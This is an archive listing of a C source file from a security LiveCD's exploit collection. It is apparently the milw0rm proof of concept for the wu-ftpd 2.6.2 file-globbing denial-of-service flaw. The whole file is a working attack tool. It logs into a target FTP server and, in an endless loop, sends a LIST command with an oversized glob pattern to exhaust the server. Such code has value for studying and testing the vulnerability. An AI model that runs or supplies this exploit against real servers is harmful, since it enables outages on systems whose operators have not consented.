home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wuftpd262DoS.c < prev   
C/C++ Source or Header  |  2005-03-04  |  4KB  |  138 lines

  1. /*
  2.  * wu-ftpd <= 2.6.2 File Globbing DoS 
  3.  * str0ke@milw0rm.com
  4.  * 
  5.  * Advisory: http://www.idefense.com/application/poi/display?id=207&type=vulnerabilities&flashstatus=true
  6.  *
  7.  * Adam Zabrocki (pi3 / pi3ki31ny) is credited with this discovery.
  8.  */
  9.  
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14. #include <netdb.h>
  15. #include <stdio.h>
  16. #include <unistd.h>
  17.  
  18. #define SERVER_PORT 21
  19. usage(char *name)
  20. {
  21. printf("usage: %s -h hostname/ip -u user -p passwd\n",name);
  22. printf("\t\t/str0ke!milw0rm.com wu-ftpd <= 2.6.2 File Globbing DoS\n");
  23. exit(0);
  24. }
  25.  
  26. main(int argc, char *argv[]) {
  27.  char buffer[1000],host[255],user[255],pass[255],c;
  28.  int sd, rc, i=0;
  29.  struct sockaddr_in localAddr, servAddr;
  30.  struct hostent *h;
  31.  
  32. if ( argc < 3) {
  33. usage(argv[0]);
  34. }
  35.  
  36. while ((c = getopt (argc, argv, "h:u:p:")) != EOF)
  37.        switch(c)
  38.        {
  39.                case 'h':
  40.                        strncpy(host,optarg,sizeof(host));
  41.                        break;
  42.                case 'u':
  43.                        strncpy(user,optarg,sizeof(user));
  44.                        break;
  45.                case 'p':
  46.                        strncpy(pass,optarg,sizeof(pass));
  47.                        break;
  48.        }
  49.  
  50. while(1) {
  51.  
  52.  h = gethostbyname(host);
  53.  if(h==NULL) {
  54.    printf("unknown host '%s'\n",host);
  55.    exit(1);
  56.  }
  57.  
  58.  servAddr.sin_family = h->h_addrtype;
  59.  memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
  60.  servAddr.sin_port = htons(SERVER_PORT);
  61.  sd = socket(AF_INET, SOCK_STREAM, 0);
  62.  if(sd<0) {
  63.    perror("cannot open socket ");
  64.    exit(1);
  65.  }
  66.  
  67.  localAddr.sin_family = AF_INET;
  68.  localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  69.  localAddr.sin_port = htons(0);
  70.  
  71.  rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
  72.  if(rc<0) {
  73.    printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
  74.    perror("error ");
  75.    exit(1);
  76.  }
  77.  
  78.  printf("Trying To Connect To [%s]\n",host);
  79.  rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
  80.  if(rc<0) {
  81.    perror("cannot connect ");
  82.    exit(1);
  83.  }
  84.    printf("Trying Login With [%s]\n",user);
  85.    snprintf(buffer,sizeof(buffer), "USER %s\r\n", user);
  86.    rc = send(sd, buffer, strlen(buffer), 0);
  87.    memset(buffer,0,sizeof(buffer));
  88.  
  89. while(1)
  90.        {
  91.        rc=recv(sd,buffer,sizeof(buffer),0);
  92.        if(strstr(buffer,"331")) break;
  93.        if(strstr(buffer,"421"))
  94.                {
  95.                printf("Access Denied on your arse..\n");
  96.                exit(0);
  97.                }
  98.        }
  99.  
  100.    printf("Sending Pass - [%s]\n",pass);
  101.    memset(buffer,0,sizeof(buffer));
  102.    snprintf(buffer,sizeof(buffer), "PASS %s\r\n", pass);
  103.    rc = send(sd,buffer, strlen(buffer), 0);
  104.  
  105. while(1)
  106.        {
  107.        rc=recv(sd,buffer,sizeof(buffer),0);
  108.        if(strstr(buffer,"230")) break;
  109.        if(strstr(buffer,"421"))
  110.                {
  111.                printf("Access Denied on your arse..\n");
  112.                exit(0);
  113.                }
  114.  
  115.        if(strstr(buffer,"530"))
  116.                {
  117.                printf("Access Denied: Login Incorrect!\n");
  118.                exit(0);
  119.                }
  120. }
  121.  
  122.    memset(buffer,0,sizeof(buffer));
  123.    snprintf(buffer,sizeof(buffer), "LIST ***********************************************************************************************************************************************************************************************.*\r\n");
  124.    rc = send(sd,buffer, strlen(buffer), 0);
  125.    printf("Dos Sent\n");
  126.  
  127. }
  128.  
  129.    if(rc<0) {
  130.      perror("cannot send data ");
  131.      close(sd);
  132.      exit(1);
  133.    }
  134. return 0;
  135. }
  136.  
  137. // milw0rm.com [2005-02-25] 
  138.